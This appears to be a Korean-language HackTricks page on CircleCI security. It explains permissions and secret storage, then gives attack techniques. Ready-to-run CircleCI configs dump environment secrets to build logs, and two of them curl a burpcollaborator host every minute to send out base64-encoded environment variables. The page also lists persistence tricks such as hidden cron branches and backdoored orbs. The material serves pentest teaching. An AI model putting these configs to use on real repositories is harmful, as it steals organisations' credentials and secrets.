CircleCI Security

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

CircleCI템플릿을 정의하여 코드와 실행 시기를 지정하는 연속적 통합 플랫폼입니다. 이를 통해 테스트 자동화 또는 배포예를 들어 리포지토리 마스터 브랜치에서 직접 수행할 수 있습니다.

권한

CircleCIgithub 및 bitbucket과 관련된 권한을 상속합니다. 내 테스트에서는 github 리포지토리에 쓰기 권한이 있으면 CircleCI에서 해당 프로젝트 설정을 관리할 수 있음을 확인했습니다 (새로운 ssh 키 설정, 프로젝트 api 키 가져오기, 새 CircleCI 구성으로 새 브랜치 생성 등).

그러나 CircleCI 프로젝트로 리포지토리를 변환하려면 리포지토리 관리자여야 합니다.

환경 변수 및 비밀

문서에 따르면 워크플로 내에서 환경 변수에 값 로드하는 다양한 방법이 있습니다.

내장 환경 변수

CircleCI에서 실행되는 모든 컨테이너에는 항상 문서에 정의된 특정 환경 변수가 있습니다. CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME, CIRCLE_USERNAME과 같이.

평문

명령어 내에서 평문으로 선언할 수 있습니다:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

실행 환경 내에서 명시할 수 있습니다.

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job 환경 내에서 명확한 텍스트로 선언할 수 있습니다.

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

컨테이너 환경 내에서 명확한 텍스트로 선언할 수 있습니다.

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

프로젝트 비밀

이러한 비밀들은 프로젝트에 의해서만 접근 가능합니다 (모든 브랜치에서). 이들은 _https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables_에서 선언된 것을 볼 수 있습니다.

"변수 가져오기" 기능을 사용하면 다른 프로젝트에서 변수를 가져와 이 프로젝트에 가져올 수 있습니다.

컨텍스트 비밀

이러한 비밀은 조직 전체에 해당합니다. 기본적으로 모든 저장소가 여기에 저장된 모든 비밀에 액세스할 수 있습니다:

그러나 다른 그룹(모든 구성원 대신)을 선택하여 특정 사람들에게만 비밀에 액세스할 수 있도록 할 수 있습니다. 이것은 현재 비밀의 보안을 높이는 가장 좋은 방법 중 하나입니다. 모두가 액세스할 수 있는 것이 아니라 일부 사람들만 액세스할 수 있도록 하는 것입니다.

공격

평문 비밀 검색

만약 VCS에 액세스할 수 있다면(github와 같은), 각 저장소의 각 브랜치.circleci/config.yml 파일을 확인하고 거기에 저장된 평문 비밀을 찾아보세요.

비밀 Env Vars 및 컨텍스트 열거

코드를 확인하여 .circleci/config.yml 파일에서 사용되는 모든 비밀 이름을 찾을 수 있습니다. 또한 이러한 파일에서 컨텍스트 이름을 얻거나 웹 콘솔에서 확인할 수 있습니다: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

프로젝트 비밀 유출

모든 프로젝트 및 컨텍스트 비밀을 유출하려면 전체 github 조직에서 하나의 저장소에만 쓰기 액세스가 필요합니다 (그리고 기본적으로 모든 사람이 모든 컨텍스트에 액세스할 수 있어야 합니다).

"변수 가져오기" 기능을 사용하면 다른 프로젝트에서 변수를 가져와 이 프로젝트에 가져올 수 있습니다. 따라서 공격자는 모든 저장소에서 모든 프로젝트 변수를 가져와 그들을 모두 함께 유출할 수 있습니다.

모든 프로젝트 비밀은 항상 작업의 env에 설정되어 있으므로 env를 호출하고 base64로 난독화하면 비밀이 워크플로우 웹 로그 콘솔에서 유출됩니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

만약 웹 콘솔에 액세스할 수 없지만 레포지토리에 액세스할 수 있고 CircleCI가 사용된다는 것을 알고 있다면, 매 분 트리거되는 워크플로우를 생성하여 시크릿을 외부 주소로 유출할 수 있습니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

컨텍스트 시크릿 유출

컨텍스트 이름을 지정해야합니다(이는 프로젝트 시크릿도 유출됩니다):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

만약 웹 콘솔에 액세스할 수 없지만 레포지토리에 액세스하고 CircleCI가 사용된다는 것을 알고 있다면, 매 분 트리거되는 워크플로우를 수정하여 시크릿을 외부 주소로 유출할 수 있습니다:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

.circleci/config.yml 파일을 리포지토리에 만드는 것만으로는 CircleCI 빌드를 트리거하는 데 충분하지 않습니다. CircleCI 콘솔에서 프로젝트로 활성화해야 합니다.

클라우드로 이동

CircleCI자신의 머신이나 사용자의 머신에서 빌드를 실행할 수 있는 옵션을 제공합니다. 기본적으로 그들의 머신은 GCP에 위치해 있으며, 처음에는 관련된 것을 찾을 수 없을 것입니다. 그러나 피해자가 **자신의 머신(가능하다면 클라우드 환경에서)**에서 작업을 실행 중이라면, 흥미로운 정보가 포함된 클라우드 메타데이터 엔드포인트를 찾을 수 있을 것입니다.

이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, VM 머신을 실행하도록 요청할 수도 있습니다(다른 클라우드 권한을 가질 수 있음):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

또는 원격 도커 서비스에 액세스 할 수있는 도커 컨테이너조차도:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

지속성

  • CircleCI에서 사용자 토큰을 생성하여 사용자 액세스로 API 엔드포인트에 액세스할 수 있습니다.

  • https://app.circleci.com/settings/user/tokens

  • 프로젝트 토큰을 생성하여 토큰에 부여된 권한으로 프로젝트에 액세스할 수 있습니다.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • 프로젝트에 SSH 키를 추가할 수 있습니다.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 예상치 못한 프로젝트의 숨겨진 브랜치에 크론 작업을 생성하여 매일 모든 컨텍스트 환경 변수를 노출시킬 수 있습니다.

  • 또는 알려진 작업을 수정하여 매일 모든 컨텍스트 및 프로젝트 비밀노출시킬 수 있습니다.

  • GitHub 소유자인 경우 미검증된 오브를 허용하고 작업에서 백도어로 구성할 수 있습니다.

  • 일부 작업에서 명령 삽입 취약점을 찾아 비밀을 수정하여 명령을 삽입할 수 있습니다.

제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新